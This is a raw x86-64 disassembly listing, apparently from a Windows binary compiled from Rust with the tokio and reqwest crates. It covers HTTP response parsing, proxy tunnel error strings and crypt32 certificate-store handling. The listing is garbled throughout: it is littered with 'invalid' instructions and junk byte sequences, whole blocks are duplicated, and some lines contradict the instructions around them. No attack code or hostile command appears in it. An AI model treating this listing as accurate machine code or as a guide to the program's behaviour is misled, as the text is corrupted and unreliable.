or dword [rax], eax
lea r12, [0x14013d280]
jmp 0x1400abd2d
lea rcx, [rsi + 0x5f8]
mov r8d, 2
mov rdx, r9
call fcn.140109710
mov r9, qword [rsi + 0x608]
jmp 0x1400ab63d
lea rcx, [rsi + 0x5f8]
mov r8d, 0xc
mov rdx, r12
call fcn.140109710
mov r12, qword [rsi + 0x608]
jmp 0x1400ab443
lea rcx, [rsi + 0x5f8]
mov qword [rsp + 0x30], rdx
mov rdx, r12
mov r8, r13
call fcn.140109710
mov rdx, qword [rsp + 0x30]
mov r12, qword [rsi + 0x608]
jmp 0x1400ab48f
lea rcx, [rsi + 0x5f8]
mov r8d, 2
mov rdx, r12
call fcn.140109710
mov r12, qword [rsi + 0x608]
jmp 0x1400ab4bf
lea rcx, [rsi + 0x5f8]
mov r8d, 0x15
mov eax, 0x15
mov eax, 0x15
mov rdx, r12
call fcn.140109710
mov r12, qword [rsi + 0x608]
jmp 0x1400ab560
invalid
dec dword [rax - 0x73]
invalid
lea rcx, [rsi + 0x5f8]
mov qword [rsp + 0x30], rdx
mov rdx, r12
mov r8, r13
call fcn.140109710
mov rdx, qword [rsp + 0x30]
mov r12, qword [rsi + 0x608]
jmp 0x1400ab5b0
lea rcx, [rsi + 0x5f8]
mov r8d, 2
add byte [rax], al
add byte [rax], al
mov rdx, r12
call fcn.140109710
add eax, 0xa68b4c00
or byte [rsi], al
add byte [rax], al
add cl, ch
mov ebp, edi
invalid
invalid
add cl, ch
mov ebp, edi
invalid
lea rax, str.mid___len
add eax, 0x9cf72
mov qword [rsp + 0x260], rax
mov qword [rsp + 0x268], 1
and al, 0x68
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*2], ah
add al, byte [rax]
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test byte [rax + rdi*2], ah
add al, byte [rax]
add byte [rax - 0x73], cl
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcioutilwrite_all.rs
and al, 0x60
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rbp*2], ah
and al, 0x68
and al, 0x68
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*2], ah
add al, byte [rax]
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test byte [rax + rdi*2], ah
add al, byte [rax]
add byte [rax - 0x73], cl
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcioutilwrite_all.rs
lea rcx, [rsp + 0x260]
call fcn.140108280
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
call fcn.140108880
ja 0x1400ab8ac
add al, ch
xlatb
iretd
lea rcx, [0x14013d678]
enter 0x91d, 0
call fcn.140108880
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
call fcn.140108880
mov ecx, 1
mov rdx, r15
call fcn.140107fc0
mov qword [rsp + 0x260], rdx
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x270], 0
mov qword [rsp + 0x278], rax
cmp dword [rcx], 2
jne 0x1400ab91a
add rcx, 8
lea r8, [rsp + 0x260]
mov rdx, rbx
call fcn.1400e7350
test rax, rax
je 0x1400ab92f
mov byte [rbp], al
jmp 0x1400abcf8
lea r8, [rsp + 0x260]
mov rdx, rbx
call fcn.1400af580
test rax, rax
jne 0x1400ab910
add byte [rax], al
mov rdx, qword [rsp + 0x268]
mov r15, qword [rsp + 0x270]
cmp r15, rdx
ja 0x1400ad04d
test r15, r15
je 0x1400aba50
add r15, qword [rsi + 0x618]
mov qword [rsi + 0x618], r15
cmp r15, 0x2001
jae 0x1400ad05c
cmp r15, 0xc
jb 0x1400abb7f
invalid
add byte [rax - 0x48], cl
push rsp
push rsp
push rax
invalid
movabs rax, 0x312e312f50545448
mov rcx, qword [rsi + 0x638]
xor rcx, rax
ror dword [rbx + 0x64096], 0
ror dword [rbx + 0x64096], 0
invalid
xor rdx, 0x30303220
or rdx, rcx
je 0x1400ab9cc
movabs rcx, 0x302e312f50545448
xor rcx, qword [rsi + 0x638]
mov edx, dword [rsi + 0x640]
xor rdx, 0x30303220
or rdx, rcx
jne 0x1400abb62
mov ecx, 0x50545448
invalid
xor byte [rax + 0x33], cl
invalid
cmp dword [rsi + r15 + 0x634], 0xa0d0a0d
je 0x1400ababb
cmp r15, 0x2000
je 0x1400abaf6
lea rcx, [rsi + 0x468]
mov eax, 0x2000
add byte [rcx + rbp - 8], cl
add byte [rcx + rbp - 8], cl
lea rdx, [rsi + r15]
add rdx, 0x638
mov qword [rsi + 0x620], rcx
mov dword [rsi + 0x620], ecx
mov dword [rsi + 0x620], ecx
mov qword [rsi + 0x628], rdx
mov qword [rsi + 0x630], rax
jmp 0x1400ab8ce
invalid
dec dword [rax - 0x77]
xlatb
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400ad088
mov r15, rax
mov qword [rax], rdi
lea r12, [0x14013cdd0]
and eax, 0x91385
and eax, 0x91385
jmp 0x1400abbe8
movzx eax, byte [0x140182310]
mov edx, 0x1e
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400ad10c
mov r12, rax
movups xmm0, xmmword [0x14014320f]
movups xmmword [rax + 0xe], xmm0
movups xmm0, xmmword [0x140143201]
movups xmmword [rax], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400ad0a4
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
add al, 0x16
add byte [rax], al
mov r15, rax
mov qword [rax], 0x1e
mov qword [rax + 8], r12
mov qword [rax + 0x10], 0x1e
jmp 0x1400abbe1
mov byte [rsi + 0x617], 0
mov rdi, qword [rsi + 0x468]
mov r15, qword [rsi + 0x470]
mov r12, qword [rsi + 0x478]
lea rdx, [rsi + 0x480]
add byte [rax + rax], 0
add byte [rax + rax], 0
lea rcx, [rsp + 0x1168]
mov r8d, 0x110
call fcn.140106250
cmpsd dword [rsi], dword [rdi]
add eax, 0xf7e900
add byte [rax], al
cmpsd dword [rsi], dword [rdi]
add eax, 0xf7e900
add byte [rax], al
movzx eax, byte [0x140182310]
mov edx, 0x21
xor ecx, ecx
call fcn.1400dfbe0
add eax, dword [rax]
test rax, rax
je 0x1400ad11b
mov r12, rax
movups xmm0, xmmword [0x1401431f0]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x1401431e0]
movups xmmword [rax], xmm0
mov byte [rax + 0x20], 0x6c
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400ad0a4
mov r15, rax
mov qword [rax], 0x21
mov qword [rax + 8], r12
mov qword [rax + 0x10], 0x21
add byte [rax], al
add byte [rax], al
jmp 0x1400abbe1
xor rax, qword [rsi + 0x638]
mov ecx, dword [rsi + 0x640]
xor rcx, 0x37303420
or rcx, rax
je 0x1400acfe6
movzx eax, byte [0x140182310]
mov edx, 0x13
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400ad0fd
mov r12, rax
movups xmm0, xmmword [str.unsuccessful_tunnelproxy_authentication_requiredproxy_headers_too_long_for_tunnelunexpected_eof_while_tunneling]
movups xmmword [rax], xmm0
mov dword [rax + 0xf], 0x6c656e6e
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400ad0a4
mov r15, rax
mov qword [rax], 0x13
mov qword [rax + 8], r12
mov qword [rax + 0x10], 0x13
lea r12, [0x14013d280]
mov edi, 3
cmp qword [rsi + 0x5f8], 0
je 0x1400abc0d
mov r8, qword [rsi + 0x600]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp byte [rsi + 0x5f0], 2
je 0x1400abc3e
cmp byte [rsi + 0x615], 0
je 0x1400abc3e
mov byte [rsi + 0x615], 0
cmp byte [rsi + 0x5c8], 2
je 0x1400abc76
add byte [rax], al
add byte [rdi + rbx + 0x48], dh
lea ecx, [rsi + 0x5c0]
mov rax, qword [rsi + 0x5a8]
mov rdx, qword [rsi + 0x5b0]
mov r8, qword [rsi + 0x5b8]
xchg byte [rax - 0xfffffb], bh
push rax
adc dh, al
xchg byte [rsi], dl
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
mov esi, 0x590
invalid
je 0x1400abc9d
xchg byte [rax - 0xfffffb], bh
add bh, bh
push rax
adc dh, al
xchg byte [rsi], dl
invalid
mov r8, qword [rsi + 0x598]
mov rcx, qword [0x140182260]
or eax, 0xffd23100
adc eax, 0x666c3
cmp byte [rsi + 0x617], 0
add byte [rax], al
je 0x1400abcc9
cmp dword [rsi + 0x468], 2
jne 0x1400abcbd
lea rcx, [rsi + 0x470]
call fcn.1400ad940
jmp 0x1400abcc9
lea rcx, [rsi + 0x468]
add byte [rax], al
call fcn.1400addd0
mov byte [rsi + 0x617], 0
lea rcx, [rsp + 0x520]
lea rdx, [rsp + 0x1168]
add byte [rax], al
mov r8d, 0x110
adc byte [rcx], al
add byte [rax], al
call fcn.140106250
mov byte [rsi + 0x614], 1
cmp rdi, 4
jne 0x1400abd04
mov byte [r13 + 0x11], 3
mov al, 4
jmp 0x1400ace3c
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x1d38]
lea rdx, [rsp + 0x520]
add byte [rax], al
mov r8d, 0x110
call fcn.140106250
mov rcx, r14
call fcn.1400ad460
cmp rdi, 3
jne 0x1400abd35
mov dil, 2
jmp 0x1400accfe
sldt word [rax]
sldt word [rax]
lea rcx, [rsp + 0xce0]
lea rdx, [rsp + 0x1d38]
lea edx, [rsp + 0x1d38]
mov r8d, 0x110
call fcn.140106250
add eax, 0xd386c600
add al, byte [rax]
add byte [rcx], al
mov qword [rsp + 0xcc8], rdi
mov qword [rsp + 0xcd0], r15
mov qword [rsp + 0xcd8], r12
mov rdi, qword [rsi + 0x278]
js 0x1400abd76
add byte [rax], al
js 0x1400abd76
add byte [rax], al
cmp qword [rdi], 0
je 0x1400abd91
mov rcx, qword [rdi + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r15, rax
mov r12d, 1
jmp 0x1400abd94
xor r12d, r12d
mov rcx, qword [rdi + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
movzx ecx, word [rdi + 0x1c]
mov edx, dword [rdi + 0x18]
mov qword [rsi + 0x9c0], r12
mov qword [rsi + 0x9c8], r15
mov qword [rsi + 0x9d0], rax
mov dword [rsi + 0x9d8], edx
mov word [rsi + 0x9dc], cx
mov r15, qword [rsi + 0x280]
test r15, r15
je 0x1400ac316
add byte [rax], al
lea rdx, [rsp + 0xcc8]
mov r8d, 0x128
mov rcx, r14
call fcn.140106250
mov qword [rsi + 0x400], r12
mov qword [rsi + 0x408], r15
mov qword [rsi + 0x410], rdi
lea rcx, [rsi + 0x418]
lea rdx, [rsp + 0x1168]
mov r8d, 0x5a0
call fcn.140106250
lea rax, [rsi + 0x9b8]
add byte [rax], al
add byte [rax], al
mov byte [rsi + 0x9b8], 0
lea rdx, [rsi + 0x2d8]
movq xmm0, r15
movq xmm6, r12
mov r12, rax
punpcklqdq xmm6, xmm0
invalid
invalid
lea rcx, [rsi + 0x418]
mov r8d, 0x128
sbb byte [rax + rax], al
add byte [rcx - 0x48], al
sub byte [rcx], al
add byte [rax], al
mov qword [rsp + 0xb0], rdx
call fcn.140106250
movdqu xmmword [rsi + 0x540], xmm6
mov qword [rsi + 0x550], rdi
lea rax, [rsi + 0x788]
mov qword [rsp + 0xa8], rax
mov byte [rsi + 0x788], 0
lea rdx, [rsi + 0x418]
mov byte [rsi + 0x789], 0
mov rax, qword [rsi + 0x550]
xchg byte [rax + 5], dl
add byte [rax], al
xchg byte [rax + 5], dl
add byte [rax], al
mov qword [rsp + 0x888], rax
movups xmm0, xmmword [rsi + 0x540]
add eax, 0x110f0000
test byte [rax + rdi*2], ah
or byte [rax], al
add byte [rbp + rcx*4 - 0x4c], cl
and al, 0x50
push rax
invalid
add byte [rax], al
mov r8d, 0x128
mov rcx, r14
call fcn.140106250
add eax, 0xbc8d4c00
and al, 0x30
sbb byte [rax], al
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
call fcn.140106250
lea rcx, [rsi + 0x790]
mov r8d, 0x140
mov rdx, r15
call fcn.140106250
add eax, 0x110f0000
test byte [rax + rdi*2], ah
or byte [rax], al
add byte [rbp + rcx*4 - 0x4c], cl
and al, 0x50
push rax
push rax
invalid
mov qword [rsp + 0x30], r12
mov rbp, qword [rsi + 0x790]
mov r14, qword [rsi + 0x8b8]
mov rax, qword [rsi + 0x8c0]
mov rcx, qword [rsi + 0x8c8]
mov qword [rsi + 0x790], 3
cmp rbp, 3
je 0x1400ad070
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
lea rdx, [rsi + 0x798]
lea rcx, [rsp + 0x988]
mov r8d, 0x120
mov qword [rsp + 0xd0], rdx
call fcn.140106250
mov qword [rsp + 0x980], rbp
mov qword [rsp + 0xaa8], rbx
movabs rdi, 0x8000000000000000
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 8
mov qword [rsp + 0x60], 0
movzx eax, byte [r14 + 0x1c]
movzx ecx, byte [r14 + 0x1d]
lea edx, [rcx + 1]
cmp cl, 4
movzx edx, dl
mov ecx, 4
cmovb ecx, edx
movzx r12d, cl
cmp al, 5
mov qword [rsp + 0x28], r13
jne 0x1400abfdb
lea r15, [0x14013b960]
jmp 0x1400abffb
xor edx, edx
cmp cl, al
movzx eax, al
cmovb eax, edx
movzx eax, al
lea r15, [0x14013b960]
add r15, rax
sub r12, rax
je 0x1400ac273
invalid
add byte [rax], al
mov r13, rax
mov rcx, r13
mov rdx, r15
mov r8, r12
call fcn.140106250
mov qword [rsp + 0x80], r12
mov dword [rsp + 0x80], esp
mov dword [rsp + 0x80], esp
mov qword [rsp + 0x88], r13
mov dword [rsp + 0x88], ebp
mov qword [rsp + 0x90], r12
cmp qword [r14], 0
je 0x1400ac078
invalid
add byte [rax], al
add byte [rcx - 0x7d], cl
add byte ds:[rsp + rsi + 0x49], dh
xor al, 0x49
xor al, 0x49
mov rcx, qword [r14 + 8]
mov ecx, dword [rsi + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r15, rax
mov r12, qword [rsp + 0x60]
cmp r12, qword [rsp + 0x50]
cmp esp, dword [rsp + 0x50]
cmp esp, dword [rsp + 0x50]
jne 0x1400ac067
lea rcx, [rsp + 0x50]
call fcn.1400e72a0
mov rax, qword [rsp + 0x58]
mov qword [rax + r12*8], r15
inc r12
mov qword [rsp + 0x60], r12
lea rcx, [rsp + 0x50]
call fcn.1400cf0c0
mov r12, rdx
test rax, rax
invalid
je 0x1400ac0c7
sal byte [rbp + rdi + 0x48], 0x8b
and al, 0x68
mov rax, qword [rsp + 0x68]
shl rax, 1
test rax, rax
jne 0x1400ac1c2
mov rax, qword [rsp + 0x80]
shl rax, 1
test rax, rax
add byte [rax], 0
add byte [rax - 0x2f], cl
loopne 0x1400ac0ef
test eax, eax
jne 0x1400ac1ea
mov r14, qword [rsp + 0x58]
pop rax
mov rdi, qword [rsp + 0x60]
and al, 0x60
test rdi, rdi
jne 0x1400ac210
jmp 0x1400ac22f
mov qword [rsp + 0xe8], rdi
mov word [rsp + 0x128], 1
mov qword [rsp + 0x118], 0
mov qword [rsp + 0xd8], 0
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov esp, 0x10024
add byte [rcx - 0x75], cl
add byte [rax], al
mov qword [rsp + 0x100], rdi
mov rcx, qword [r14 + 0x10]
adc dil, r15b
adc eax, 0x66095
adc dil, r15b
adc eax, 0x66095
mov r15, rax
cmp qword [rsp + 0xd8], 0
je 0x1400ac121
mov rcx, qword [rsp + 0xe0]
add byte [rax], al
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov qword [rsp + 0xd8], 1
mov qword [rsp + 0xe0], r15
lea rcx, [rsp + 0xd8]
mov word [rax + rbx*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x40
mov word [rax + rbx*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x40
mov r8, qword [rsp + 0x48]
call fcn.1400cf2e0
add byte [rcx + 0xf], al
mov dh, 0x6e
sbb byte [rax - 0x78], al
lodsb al, byte [rsi]
and al, 0x28
add dword [rax], eax
add byte [rcx + 0xf], al
mov dh, 0x46
sbb dword [rax + 0x1292484], ecx
add byte [rax], al
add byte [rcx + 0xf], al
mov dh, 0x6e
sbb byte [rax - 0x78], al
lodsb al, byte [rsi]
and al, 0x28
add dword [rax], eax
add byte [rcx + 0xf], al
mov dh, 0x46
sbb dword [rax + 0x1292484], ecx
add byte [rax], al
cmp byte [r14 + 0x1a], 0
je 0x1400ac281
jle 0x1400ac183
add byte [rdi], cl
test byte [rcx], dl
add dword [rax], eax
add byte [rdi], cl
mov dh, 5
cdq
invalid
movzx eax, byte [0x140182310]
mov edx, 0x10
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400ad0da
test byte [rsi + 0xf], cl
add byte [rax], al
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, qword [rsp + 0x118]
test rcx, rcx
je 0x1400ac30a
lock dec qword [rcx]
lea r14, [0x140141f68]
je 0x1400ac2ea
jmp 0x1400ac3a6
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x140182260]
invalid
or eax, 0xffd23100
adc eax, 0x6618a
mov rax, qword [rsp + 0x80]
shl rax, 1
shl eax, 1
invalid
shl eax, 1
test rax, rax
je 0x1400ac0af
mov r8, qword [rsp + 0x88]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
test rdi, rdi
je 0x1400ac22f
invalid
invalid
xor r15d, r15d
mov r13, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop word [rax + rax]
mov rcx, qword [r14 + r15*8]
inc r15
call r13
cmp rdi, r15
jne 0x1400ac220
cmp qword [rsp + 0x50], 0
je 0x1400ac249
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp rbp, 2
jne 0x1400ac261
lea rcx, [rsp + 0x988]
call fcn.1400ad940
jmp 0x1400ac8e7
lea rcx, [rsp + 0x980]
call fcn.1400addd0
jmp 0x1400ac8e7
cmp byte [r14 + 0x1b], 0
je 0x1400ac3be
mov rcx, qword [r14 + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov r14, rax
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400ad0a4
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], r14
mov rcx, qword [rsp + 0x118]
test rcx, rcx
je 0x1400ac39f
lock dec qword [rcx]
lea r14, [0x140141f08]
jne 0x1400ac3a6
mov rcx, qword [rsp + 0x118]
mov rdx, qword [rsp + 0x120]
mov r15, rax
call fcn.140005050
mov rax, r15
mov eax, edi
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x20
add dword [rax], eax
add byte [rcx - 0x77], cl
invalid
mov eax, edi
jmp 0x1400ac3a6
lea r14, [0x140141f68]
jmp 0x1400ac3a6
add byte [rax], al
add byte [rcx], dh
leave
call fcn.1400dfbe0
test rax, rax
je 0x1400ad0e9
mov rbx, rax
movabs rax, 0x6c7275206e692074
mov qword [rbx + 6], rax
movabs rax, 0x2074736f68206f6e
mov qword [rbx], rax
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400ad0a4
mov r15, rax
mov qword [rax], 0xe
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rax + 8], ebx
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rax + 8], ebx
mov qword [rax + 0x10], 0xe
lea r12, [0x14013d280]
lea esp, [0x14013d280]
mov dil, 2
invalid
invalid
mov esi, 0x9c0
mov dword [rax + 8], ebx
mov qword [rax + 0x10], 0xe
lea r12, [0x14013d280]
lea esp, [0x14013d280]
mov dil, 2
cmp qword [rsi + 0x9c0], 0
add byte [rdi], cl
test dword [rcx], ebx
or dword [rax], eax
invalid
add byte [rdi], cl
test dword [rcx], ebx
or dword [rax], eax
add cl, ch
and dword [rcx], ecx
add byte [rax], al
jmp 0x1400accc0
lea r14, [0x140141f08]
mov qword [rsp + 0x118], rax
mov dword [rsp + 0x118], eax
mov qword [rsp + 0x120], r14
movzx ebp, byte [rsp + 0x128]
lea r14, [rsp + 0x100]
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rsi*4], fs
or al, byte [rax]
add byte [rax - 0x73], cl
invalid
xchg esp, eax
and al, 0x80
lea rcx, [rsp + 0xab0]
lea rdx, [rsp + 0x980]
lea edx, [rsp + 0x980]
or dword [rax], eax
add byte [rcx - 0x48], al
xor byte [rcx], al
add byte [rax], al
mov r8d, 0x130
call fcn.140106250
mov r15, qword [rsp + 0xe8]
mov esp, 0xe824
add byte [rcx], dh
rol byte [rcx - 0x48], 0
add byte [rax], al
add byte [rax], al
test bpl, bpl
in eax, dx
je 0x1400ac3fe
mov r8, qword [rsp + 0xf0]
cmp r15, rdi
cmove r8, rax
lea rcx, [rsp + 0x520]
mov word [rax + riz], fs
add eax, 0x894c0000
loop 0x1400ac45e
mov ecx, esi
mov word [rax + riz], fs
add eax, 0x894c0000
loop 0x1400ac45e
mov ecx, esi
call case.0x1400aa904.218
mov r14, qword [rsp + 0x530]
cmp r14, 2
add cl, byte [rax - 0x77]
pushfq
and al, 0xa0
add byte [rax], al
add byte [rax], al
add cl, byte [rax - 0x77]
pushfq
and al, 0xa0
add byte [rax], al
add byte [rax], al
jne 0x1400ac46f
add byte [rax], al
jne 0x1400ac46f
mov rax, qword [rsp + 0x520]
mov qword [rsp + 0x758], 2
mov dword [rsp + 0x758], 2
mov dword [rsp + 0x758], 2
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x760], rax
mov qword [rsp + 0x750], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rbx + 0xab024bc], al
add byte [rax], al
add dh, byte [rbp + 0x6d]
cmp dword [rsp + 0xab0], 2
jne 0x1400ac4cd
lea rcx, [rsp + 0xab8]
call fcn.1400ad940
jmp 0x1400ac4da
movdqa xmm6, xmmword [rsp + 0x520]
mov r13d, dword [rsp + 0x538]
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0xd8], 0
je 0x1400ac4f2
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rsp + 0xc8], rax
mov eax, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x40], rax
mov r15, qword [rsp + 0xe8]
cmp r15, rdi
jne 0x1400ac4fe
jmp 0x1400ac564
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rsi*4], fs
or al, byte [rax]
add al, ch
neg byte [rax]
add byte [rax], al
lea rcx, [rsp + 0xab0]
call fcn.1400addd0
lock dec qword [r12]
dec qword [r12]
jne 0x1400ac7cc
mov rcx, r12
call fcn.1400ae130
jmp 0x1400ac7cc
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rcx], dh
ror byte [rax - 0x77], 0x44
and al, 0x40
xor eax, eax
mov qword [rsp + 0x40], rax
cmp r15, rdi
je 0x1400ac4c8
mov r15, qword [rsp + 0xf0]
mov rdi, qword [rsp + 0xf8]
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
je case.0x1400a88a6.87
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
push qword [rsp + rsi + 0x48]
xor al, 0x48
xor al, 0x48
mov eax, edi
shr rax, 0x3e
shr eax, 0x3e
jne 0x1400ad0f8
lea rbp, [rdi + rdi]
movzx eax, byte [0x140182310]
in eax, 0x5d
or eax, 0x48c93100
xor ecx, ecx
mov rdx, rbp
in eax, 0x5d
or eax, 0x48c93100
xor ecx, ecx
mov rdx, rbp
call fcn.1400dfbe0
test rax, rax
invalid
jne 0x1400ac54e
sal byte [rbp + 0x14], 0xb9
mov ecx, 2
add al, byte [rax]
add byte [rax], al
mov rdx, rbp
call fcn.140107fc0
mov eax, 2
xor ebp, ebp
add byte [rcx], dh
in eax, dx
mov qword [rsp + 0xb8], rax
mov rcx, rax
mov ecx, eax
mov ecx, eax
mov rdx, r15
cli
mov r8, rbp
call fcn.140106250
add eax, 0xacb60f00
and al, 0x28
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x84
and al, 0x29
add dword [rax], eax
add byte [rax + 0x4c482444], cl
mov r15, qword [rsp + 0x118]
add eax, 0xacb60f00
and al, 0x28
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x84
and al, 0x29
add dword [rax], eax
add byte [rax + 0x4c482444], cl
mov r15, qword [rsp + 0x118]
mov r15, qword [rsp + 0x118]
test r15, r15
je 0x1400ac59d
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0xc0], rax
lock inc qword [r15]
test byte [rax + riz], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rax*8], ah
add byte [rax], al
add al, dh
inc qword [r15]
jg 0x1400ac59d
ud2
lea rcx, [rsp + 0x750]
lea rdx, [rsp + 0xab0]
mov r8d, 0x130
call fcn.140106250
test r14, r14
add al, ch
cwde
pushfq
add eax, 0xf6854d00
mov byte [rsp + 0x27], bpl
je 0x1400ac5f1
test r13d, r13d
je 0x1400ac5fb
mov ebp, 1
xor r13d, r13d
jmp 0x1400ac621
add byte [rax], al
add byte [rax - 0x77], cl
jmp 0x128f34f61
mov dword [rsp + 0x6c8], eax
mov qword [rsp + 0x6d0], rdi
mov qword [rsp + 0x6d8], r14
movaps xmm0, xmmword [rsp + 0x250]
movups xmmword [rsp + 0x6e0], xmm0
mov dword [rsp + 0x6f0], 0x10000
mov byte [rsp + 0x6f4], 0
mov qword [rsp + 0x708], r12
movdqu xmmword [rsp + 0x710], xmm6
mov qword [rsp + 0x720], r15
mov rax, qword [rsp + 0xc0]
mov eax, dword [rsp + 0xc0]
mov eax, dword [rsp + 0xc0]
mov qword [rsp + 0x728], rax
mov qword [rsp + 0x730], 1
mov qword [rsp + 0x738], 0
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
movzx eax, byte [rsp + 0x27]
mov byte [rsp + 0x740], al
movzx eax, byte [rsp + 0x48]
mov byte [rsp + 0x741], al
mov word [rsp + 0x742], 0x100
mov dword [rsp + 0x742], 0x8d480100
mov word [rax + rdx*2], fs
invalid
add byte [rax], al
lea rdx, [rsp + 0x520]
call fcn.1400af920
invalid
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x20
add eax, 0x54e80000
xor dword [rax], eax
add byte [rbx + rcx*4 - 0x44], cl
and al, 0x50
invalid
mov r15, qword [rsp + 0x750]
mov rdi, qword [rsp + 0x758]
mov rbx, qword [rsp + 0x760]
test r15, r15
je 0x1400ac7ef
cmp rdi, 2
je 0x1400ac80a
lea rdx, [rsp + 0x768]
lea rcx, [rsp + 0x260]
and al, 0x60
add al, byte [rax]
add byte [rcx - 0x48], al
sbb byte [rdx], al
add byte [rax], al
call fcn.140106250
lea rcx, [rsp + 0xd8]
call fcn.1400afa10
mov rax, qword [rsp + 0x68]
shl rax, 1
loopne 0x1400ac868
test eax, eax
loopne 0x1400ac868
test eax, eax
jne 0x1400ac845
mov rax, qword [rsp + 0x80]
shl rax, 1
test rax, rax
jne 0x1400ac869
mov r14, qword [rsp + 0x58]
mov r13, qword [rsp + 0x60]
test r13, r13
jne 0x1400ac88f
jmp 0x1400ac8af
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x140182260]
pop rdx
or eax, 0xffd23100
adc eax, 0x65b07
pop rdx
or eax, 0xffd23100
adc eax, 0x65b07
mov rax, qword [rsp + 0x80]
shl rax, 1
test rax, rax
je 0x1400ac834
retf
mov r8, qword [rsp + 0x88]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsp + 0x58]
mov r13, qword [rsp + 0x60]
test r13, r13
je 0x1400ac8af
xor ebp, ebp
mov r12, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop dword [rax + rax]
mov rcx, qword [r14 + rbp*8]
inc rbp
call r12
cmp r13, rbp
jne 0x1400ac8a0
cmp qword [rsp + 0x50], 0
je 0x1400ac8c9
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
mov r12, rbx
je case.0x140095028.147
cmp rdi, 2
mov rbx, qword [rsp + 0xa0]
jne 0x1400acf8d
mov eax, 2
mov rdi, r12
